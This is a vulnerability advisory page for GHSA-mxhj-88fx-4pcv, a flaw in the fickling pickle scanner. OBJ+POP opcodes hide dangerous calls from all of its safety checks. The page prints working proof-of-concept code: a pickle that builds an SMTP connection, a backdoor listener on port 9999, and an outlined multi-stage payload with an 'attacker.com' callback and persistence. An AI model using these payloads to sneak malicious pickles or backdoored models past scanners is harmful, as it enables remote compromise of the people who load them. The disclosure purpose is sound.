# GHSA-mxhj-88fx-4pcv: Fickling: OBJ opcode call invisibility bypasses all safety checks

> Fickling fails to detect dangerous pickle operations using OBJ opcodes, allowing malicious code execution to bypass safety checks.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** A user has to click or open something
- **Fix available:** Yes
- **Published:** 24 Feb 2026

## What is GHSA-mxhj-88fx-4pcv?

GHSA-mxhj-88fx-4pcv is a vulnerability in fickling, published on 24 Feb 2026. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.

### Official description

# Assessment

The interpreter so it behaves closer to CPython when dealing with `OBJ`, `NEWOBJ`, and `NEWOBJ_EX` opcodes (https://github.com/trailofbits/fickling/commit/ff423dade2bb1f72b2b48586c022fac40cbd9a4a).

# Original report

## Summary

All 5 of fickling's safety interfaces -- `is_likely_safe()`, `check_safety()`, CLI `--check-safety`, `always_check_safety()`, and the `check_safety()` context manager -- report `LIKELY_SAFE` / raise no exceptions for pickle files that use the OBJ opcode to call dangerous stdlib functions (signal handlers, network servers, network connections, file operations). The OBJ opcode's implementation in fickling pushes function calls directly onto the interpreter stack without persisting them to the AST via `new_variable()`. When the result is discarded with POP, the call vanishes from the final AST entirely, making it invisible to all 9 analysis passes.

This is a separate vulnerability from the REDUCE+BUILD bypass, with a different root cause. It survives all three proposed fixes for the REDUCE+BUILD vulnerability.

## Details

The vulnerability is a single missing `new_variable()` call in `Obj.run()` (`fickle.py:1333-1350`).

**REDUCE** (`fickle.py:1286-1301`) correctly persists calls to the AST:
```python
# Line 1300: call IS saved to module_body
var_name = interpreter.new_variable(call)
interpreter.stack.append(ast.Name(var_name, ast.Load()))
```

The comment on lines 1296-1299 explicitly states: "if we just save it to the stack, then it might not make it to the final AST unless the stack value is actually used."

**OBJ** (`fickle.py:1333-1350`) does exactly what that comment warns against:
```python
# Line 1348: call is ONLY on the stack, NOT in module_body
interpreter.stack.append(ast.Call(kls, args, []))
```

When the OBJ result is discarded by POP, the `ast.Call` is gone. The decompiled AST shows the import but no function call:
```python
from smtplib import SMTP    # import present (from STACK_GLOBAL)
result = None              # no call to SMTP visible
```

Yet at runtime, `SMTP('127.0.0.1')` executes and opens a TCP connection.

**NEWOBJ** (`fickle.py:1411-1420`) and **NEWOBJ_EX** (`fickle.py:1423-1433`) have the same code pattern but are less exploitable since CPython's NEWOBJ calls `cls.__new__()` (allocation only) while OBJ calls `cls(*args)` (full constructor execution with `__init__` side effects).

### Affected versions

All versions through 0.1.7 (latest as of 2026-02-19).

### Affected APIs

- `fickling.is_likely_safe()` - returns `True` for bypass payloads
- `fickling.analysis.check_safety()` - returns `AnalysisResults` with `severity = Severity.LIKELY_SAFE`
- `fickling --check-safety` CLI - exits with code 0
- `fickling.always_check_safety()` + `pickle.load()` - no `UnsafeFileError` raised, malicious code executes
- `fickling.check_safety()` context manager + `pickle.load()` - no `UnsafeFileError` raised, malicious code executes

## PoC

A pickle that opens a TCP connection to an attacker's server via OBJ+POP, yet fickling reports it as `LIKELY_SAFE`:

```python
import io, struct

def sbu(s):
    """SHORT_BINUNICODE opcode helper."""
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

def make_obj_pop_bypass():
    """
    Pickle that calls smtplib.SMTP('127.0.0.1') at runtime,
    but the call is invisible to fickling.

    Opcode sequence:
        MARK
          STACK_GLOBAL 'smtplib' 'SMTP'   (import persisted to AST)
          SHORT_BINUNICODE '127.0.0.1'    (argument)
        OBJ                               (call SMTP('127.0.0.1'), push result)
                                          (ast.Call on stack only, NOT in AST)
        POP                               (discard result -> call GONE)
        NONE
        STOP
    """
    buf = io.BytesIO()
    buf.write(b"\x80\x04\x95")  # PROTO 4 + FRAME

    payload = io.BytesIO()
    payload.write(b"(")                              # MARK
    payload.write(sbu("smtplib") + sbu("SMTP"))      # push module + func strings
    payload.write(b"\x93")                            # STACK_GLOBAL
    payload.write(sbu("127.0.0.1"))                   # push argument
    payload.write(b"o")                               # OBJ: call SMTP('127.0.0.1')
    payload.write(b"0")                               # POP: discard result
    payload.write(b"N.")                              # NONE + STOP

    frame_data = payload.getvalue()
    buf.write(struct.pack("<Q", len(frame_data)))
    buf.write(frame_data)
    return buf.getvalue()

import fickling, tempfile, os
data = make_obj_pop_bypass()
path = os.path.join(tempfile.mkdtemp(), "bypass.pkl")
with open(path, "wb") as f:
    f.write(data)

print(fickling.is_likely_safe(path))
# Output: True  <-- BYPASSED (network connection invisible to fickling)
```

fickling decompiles this to:
```python
from smtplib import SMTP
result = None
```

Yet at runtime, `SMTP('127.0.0.1')` executes and opens a TCP connection.

**CLI verification:**
```bash
$ fickling --check-safety bypass.pkl; echo "EXIT: $?"
EXIT: 0    # BYPASSED
```

**Comparison with REDUCE (same function, detected):**
```bash
$ fickling --check-safety reduce_smtp.pkl; echo "EXIT: $?"
Warning: Fickling detected that the pickle file may be unsafe.
EXIT: 1    # DETECTED
```

### Backdoor listener PoC (most impactful)

A pickle that opens a TCP listener on port 9999, binding to all interfaces:

```python
import io, struct

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

def binint(n):
    return b"J" + struct.pack("<i", n)

def make_backdoor():
    buf = io.BytesIO()
    buf.write(b"\x80\x04\x95")  # PROTO 4 + FRAME

    payload = io.BytesIO()
    # OBJ+POP: TCPServer(('0.0.0.0', 9999), BaseRequestHandler)
    payload.write(b"(")                                          # MARK
    payload.write(sbu("socketserver") + sbu("TCPServer") + b"\x93")  # STACK_GLOBAL
    payload.write(b"(")                                          # MARK (inner tuple)
    payload.write(sbu("0.0.0.0"))                                # host
    payload.write(binint(9999))                                  # port
    payload.write(b"t")                                          # TUPLE
    payload.write(sbu("socketserver") + sbu("BaseRequestHandler") + b"\x93")  # handler
    payload.write(b"o")                                          # OBJ
    payload.write(b"0")                                          # POP
    payload.write(b"N.")                                         # NONE + STOP

    frame_data = payload.getvalue()
    buf.write(struct.pack("<Q", len(frame_data)))
    buf.write(frame_data)
    return buf.getvalue()

import fickling
data = make_backdoor()
with open("/tmp/backdoor.pkl", "wb") as f:
    f.write(data)

print(fickling.is_likely_safe("/tmp/backdoor.pkl"))
# Output: True  <-- BYPASSED

import pickle, socket
server = pickle.loads(data)
# Port 9999 is now LISTENING on all interfaces

s = socket.socket()
s.connect(("127.0.0.1", 9999))
print("Connected to backdoor port!")  # succeeds
s.close()
server.server_close()
```

### Multi-stage combined PoC

A single pickle combining signal suppression + backdoor listener + outbound callback + file persistence:

```python
# All four operations in one pickle, all invisible to fickling:
# 1. signal.signal(SIGTERM, SIG_IGN) - suppress graceful shutdown
# 2. socketserver.TCPServer(('0.0.0.0', 9999), BaseRequestHandler) - backdoor
# 3. smtplib.SMTP('attacker.com') - C2 callback
# 4. sqlite3.connect('/tmp/.marker') - persistence marker

# fickling reports: LIKELY_SAFE
# All 4 operations execute at runtime
```

**`always_check_safety()` verification:**
```python
import fickling, pickle

fickling.always_check_safety()
with open("poc_obj_multi.pkl", "rb") as f:
    result = pickle.load(f)
# No UnsafeFileError raised -- all 4 malicious operations executed
```

## Impact

An attacker can distribute a malicious pickle file (e.g., a backdoored ML model) that passes all fickling safety checks. Demo

## Which versions are affected by GHSA-mxhj-88fx-4pcv?

2 open source packages ship an affected version, including fickling.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `fickling` | PyPI | All versions | 0.1.8 |
| `fickling` | PyPI | All versions | 0.1.8 |

## How do I fix GHSA-mxhj-88fx-4pcv?

Upgrade fickling to 0.1.8 or later.

## Is GHSA-mxhj-88fx-4pcv being exploited?

There is no known exploitation of GHSA-mxhj-88fx-4pcv in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-mxhj-88fx-4pcv and fix it if it is affected.

What it is: GHSA-mxhj-88fx-4pcv is a vulnerability in fickling, published on 24 Feb 2026. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.
Exploitation: There is no known exploitation of GHSA-mxhj-88fx-4pcv in the wild and no public exploit code.

Affected packages and fixed versions:
- fickling (PyPI): affected all versions; fixed in 0.1.8
- fickling (PyPI): affected all versions; fixed in 0.1.8

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-mxhj-88fx-4pcv/ (Markdown: https://insights.sbomify.com/GHSA-mxhj-88fx-4pcv/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-mxhj-88fx-4pcv

---
From sbomify Insights: https://insights.sbomify.com/GHSA-mxhj-88fx-4pcv/
Summaries are generated and may contain mistakes; the official description above is the record.
